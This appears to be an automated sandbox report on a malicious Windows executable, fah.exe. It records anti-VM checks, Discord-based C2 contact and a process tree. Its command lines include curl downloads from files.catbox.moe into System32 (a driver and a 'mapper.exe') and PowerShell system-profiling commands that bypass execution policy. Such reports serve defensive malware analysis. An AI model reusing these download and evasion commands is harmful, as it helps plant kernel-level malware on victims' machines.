Analysis
- max time kernel
149s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/07/2026, 02:00
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
fah.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
fah.exe
Resource
win11ltsc2024-20260629-en
windows11-ltsc_2024-x64
12 signatures
150 seconds
General
- Target fah.exe
- Size 1.1MB
- Sample260703-cfccyah14v
- SHA256 6b83616e1f27291f8cd9ca0b73b4f17f3630d25b8a191164fe02b4a501fd3715
- MD5 40b3f21ce2c1791bd2542df82fee9688
- SHA1 a0cf7ee41ac14cc99ec0bf9ac91184327c0f2805
- SHA512 696808d0ab08b2c1e9081c20fe2240ee14aae661679f0af8f37e467931c073a31528c275fc4f076ec89e1ace706a8a8e9b694a0e229ca3b465b752f9b249993d
- SSDEEP 6144:LYkeOoN8VqQ+cvok2Wz5BFfTDq3iLIAlutcu6obd/KGxbI68KTxELQJ9/j/Rnpw8:LX5tVqAvHB6xxEL2pvWUhpCOg8
- TLSH T1F94519C69C075BEDE6E2E73976663313F8673B690A28C73F24C41D62510A78052EB74E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
Malware Config
Signatures
- Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo fah.exe - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ fah.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions fah.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools fah.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fah.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com 2 discord.com - Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN fah.exe -
pid Process 3924 powershell.exe 404 powershell.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer fah.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS fah.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 3924 powershell.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 3924 powershell.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe 5028 fah.exe - Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeDebugPrivilege 3924 powershell.exe Token: SeIncreaseQuotaPrivilege 3924 powershell.exe Token: SeSecurityPrivilege 3924 powershell.exe Token: SeTakeOwnershipPrivilege 3924 powershell.exe Token: SeLoadDriverPrivilege 3924 powershell.exe Token: SeSystemProfilePrivilege 3924 powershell.exe Token: SeSystemtimePrivilege 3924 powershell.exe Token: SeProfSingleProcessPrivilege 3924 powershell.exe Token: SeIncBasePriorityPrivilege 3924 powershell.exe Token: SeCreatePagefilePrivilege 3924 powershell.exe Token: SeBackupPrivilege 3924 powershell.exe Token: SeRestorePrivilege 3924 powershell.exe Token: SeShutdownPrivilege 3924 powershell.exe Token: SeDebugPrivilege 3924 powershell.exe Token: SeSystemEnvironmentPrivilege 3924 powershell.exe Token: SeRemoteShutdownPrivilege 3924 powershell.exe Token: SeUndockPrivilege 3924 powershell.exe Token: SeManageVolumePrivilege 3924 powershell.exe Token: 33 3924 powershell.exe Token: 34 3924 powershell.exe Token: 35 3924 powershell.exe Token: 36 3924 powershell.exe Token: SeDebugPrivilege 404 powershell.exe Token: SeIncreaseQuotaPrivilege 404 powershell.exe Token: SeSecurityPrivilege 404 powershell.exe Token: SeTakeOwnershipPrivilege 404 powershell.exe Token: SeLoadDriverPrivilege 404 powershell.exe Token: SeSystemProfilePrivilege 404 powershell.exe Token: SeSystemtimePrivilege 404 powershell.exe Token: SeProfSingleProcessPrivilege 404 powershell.exe Token: SeIncBasePriorityPrivilege 404 powershell.exe Token: SeCreatePagefilePrivilege 404 powershell.exe Token: SeBackupPrivilege 404 powershell.exe Token: SeRestorePrivilege 404 powershell.exe Token: SeShutdownPrivilege 404 powershell.exe Token: SeDebugPrivilege 404 powershell.exe Token: SeSystemEnvironmentPrivilege 404 powershell.exe Token: SeRemoteShutdownPrivilege 404 powershell.exe Token: SeUndockPrivilege 404 powershell.exe Token: SeManageVolumePrivilege 404 powershell.exe Token: 33 404 powershell.exe Token: 34 404 powershell.exe Token: 35 404 powershell.exe Token: 36 404 powershell.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5028 wrote to memory of 4368 5028 fah.exe 91 PID 5028 wrote to memory of 5224 5028 fah.exe 92 PID 5028 wrote to memory of 1688 5028 fah.exe 93 PID 1688 wrote to memory of 3924 1688 cmd.exe 94 PID 5224 wrote to memory of 1540 5224 cmd.exe 95 PID 5028 wrote to memory of 1076 5028 fah.exe 97 PID 1076 wrote to memory of 4628 1076 cmd.exe 98 PID 5028 wrote to memory of 6040 5028 fah.exe 99 PID 6040 wrote to memory of 404 6040 cmd.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\fah.exe"C:\Users\Admin\AppData\Local\Temp\fah.exe"1⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:4368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:5224 -
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys3⤵PID:1540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3924
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe3⤵PID:4628
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:6040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:404
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
- MD5 dc6571b4e39d13392bb7f996d9a95ef5
- SHA1 a1838cd4f6a2a1ff743489171ba9f83c662362c7
- SHA512 5e2582268c12399a5b29751932d896eb47931478bbafa197faf15d26470a589e1892887a85e7061e431ad8163259ee00682e34c167e9ca204ffd33c888a35f63
- TLSH T199219833F3DC8214CC99003A10DDAC1036B6C7CB40DECF9B6B85E159A82F298DF60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly4c1hwk.ojd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH